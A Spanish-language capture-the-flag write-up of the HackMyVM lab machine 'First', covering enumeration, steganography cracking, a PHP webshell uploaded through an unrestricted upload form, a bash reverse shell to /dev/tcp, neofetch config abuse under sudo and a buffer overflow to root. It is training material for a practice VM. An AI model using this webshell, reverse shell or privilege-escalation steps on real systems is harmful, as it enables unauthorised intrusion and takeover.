cd ~/blog

~/writeups/hmv/008-first.md

008 - First

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Information Disclosure mediante esteganografía de una ruta y Weak PasswordUnrestricted File Upload con ejecución de PHPSudo-Allowed Program Abuse mediante configuración controlada de neofetchBuffer Overflow en un binario ejecutable mediante sudo
hackmyvm.eu/machines/machine.php?vm=First

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y uno específico de puertos:

nmap -sC -sV -p21,22,80 -oN 02-targeted 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-18 14:27 -03
Nmap scan report for 192.168.1.31
Host is up (0.00024s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Aug 09  2022 fifth
| drwxr-xr-x    2 0        0            4096 Aug 10  2022 first
| drwxr-xr-x    2 0        0            4096 Aug 09  2022 fourth
| drwxr-xr-x    2 0        0            4096 Aug 09  2022 seccond
|_drwxr-xr-x    2 0        0            4096 Aug 09  2022 third
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b8:57:5b:81:5a:78:1f:d6:ff:60:39:bb:32:a8:5d:cd (RSA)
|   256 65:8d:43:ec:63:77:d0:39:c0:1b:3e:40:d9:53:1e:ed (ECDSA)
|_  256 0f:02:ac:df:e1:31:3c:b2:59:f6:b7:59:09:f1:ff:f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:E1:4D:AB (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds

Enumeración FTP y esteganografía

La web y el fuzzing con gobuster no aportan nada útil. El vector está en el FTP anónimo: en la carpeta first hay una imagen JPG que analizamos con stegseek para crackear su passphrase:

❯ stegseek first_Logo.jpg -wl ~/Documentos/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "firstgurl1"
[i] Original filename: "secret.txt".
[i] Extracting to "first_Logo.jpg.out".

Extraemos el archivo oculto con steghide:

❯ steghide extract -sf first_Logo.jpg
Anotar salvoconducto:
anot� los datos extra�dos e/"secret.txt".

secret.txt contiene un mensaje y una cadena en hexadecimal. Al decodificarla con xxd obtenemos una ruta.

La esteganografía no entrega credenciales, sino el siguiente punto de enumeración. Decodificar la cadena conduce al directorio exacto del cargador y evita continuar con fuzzing indiscriminado sobre toda la raíz.

Realizamos la conversión de hexadecimal a texto:

❯ echo "2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74" | xxd -r -p
/t0d0_l1st_f0r_f1r5t

Fuzzeamos ese directorio:

❯ gobuster dir -u http://192.168.1.31/t0d0_l1st_f0r_f1r5t/ -w ~/Documentos/git-clones/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
...
/index.html           (Status: 200) [Size: 205]
/uploads              (Status: 301) [Size: 334] [--> http://192.168.1.31/t0d0_l1st_f0r_f1r5t/uploads/]
/photos               (Status: 301) [Size: 333] [--> http://192.168.1.31/t0d0_l1st_f0r_f1r5t/photos/]
/upload.php           (Status: 200) [Size: 348]
...

Acceso inicial mediante Unrestricted File Upload

upload.php presenta Unrestricted File Upload, así que podemos utilizar una webshell PHP.

La presencia de /uploads en el mismo árbol web permite recuperar los archivos cargados por HTTP. Primero usamos una webshell mínima y whoami para demostrar que el servidor interpreta PHP; luego utilizamos esa ejecución para abrir la reverse shell.

La webshell contiene:

<?php
    system($_GET['cmd']);
?>
❯ curl http://192.168.1.31/t0d0_l1st_f0r_f1r5t/uploads/road_to_reverse.php\?cmd\=whoami
www-data

Con RCE confirmado, lanzamos una reverse shell (con netcat a la escucha):

bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"
sudo nc -nlvp 1234

Movimiento lateral a first

Obtenemos la primera flag. Iniciamos la escalada con sudo -l:

www-data@first:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on first:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on first:
    (first : first) NOPASSWD: /bin/neofetch
www-data@first:/home$

Según GTFOBins, neofetch permite inyectar código desde su archivo de configuración. Este caso de Sudo-Allowed Program Abuse usa una función legítima de la herramienta para crear un proceso con otra identidad. Creamos un archivo malicioso y lo cargamos como first.

Neofetch interpreta su configuración como código Bash, no como datos pasivos. --config selecciona un archivo controlado y la regla de sudo cambia la identidad a first, por lo que exec /bin/bash reemplaza Neofetch por una shell de ese usuario.

El archivo de configuración contiene:

echo 'exec /bin/bash' > config.txt
sudo -u first /bin/neofetch --config config.txt

Escalada de privilegios

Ya como first, continuamos con sudo -l:

Matching Defaults entries for first on first:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User first may run the following commands on first:
    (ALL) NOPASSWD: /bin/secret

El binario /bin/secret pide una contraseña. La pista del todo list mencionaba un Buffer Overflow: introduciendo una entrada suficientemente larga, el desbordamiento de la variable que almacena el pass sobrescribe la variable de control, lo que valida el acceso y nos da una shell de root.

No recuperamos la contraseña correcta. La entrada sobrepasa el búfer destinado a pass y altera el estado que el programa consulta para autorizar el comando. Como el binario se ejecuta mediante sudo, la orden aceptada hereda UID 0.

// renderizando diagrama…

Comprobamos el efecto con una entrada que excede el espacio reservado:

first@first:~$ sudo /bin/secret
pass: asdfasdfasdf
correct, input command:bash
root@first:/home/first# whoami
root

Obtenemos la flag.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados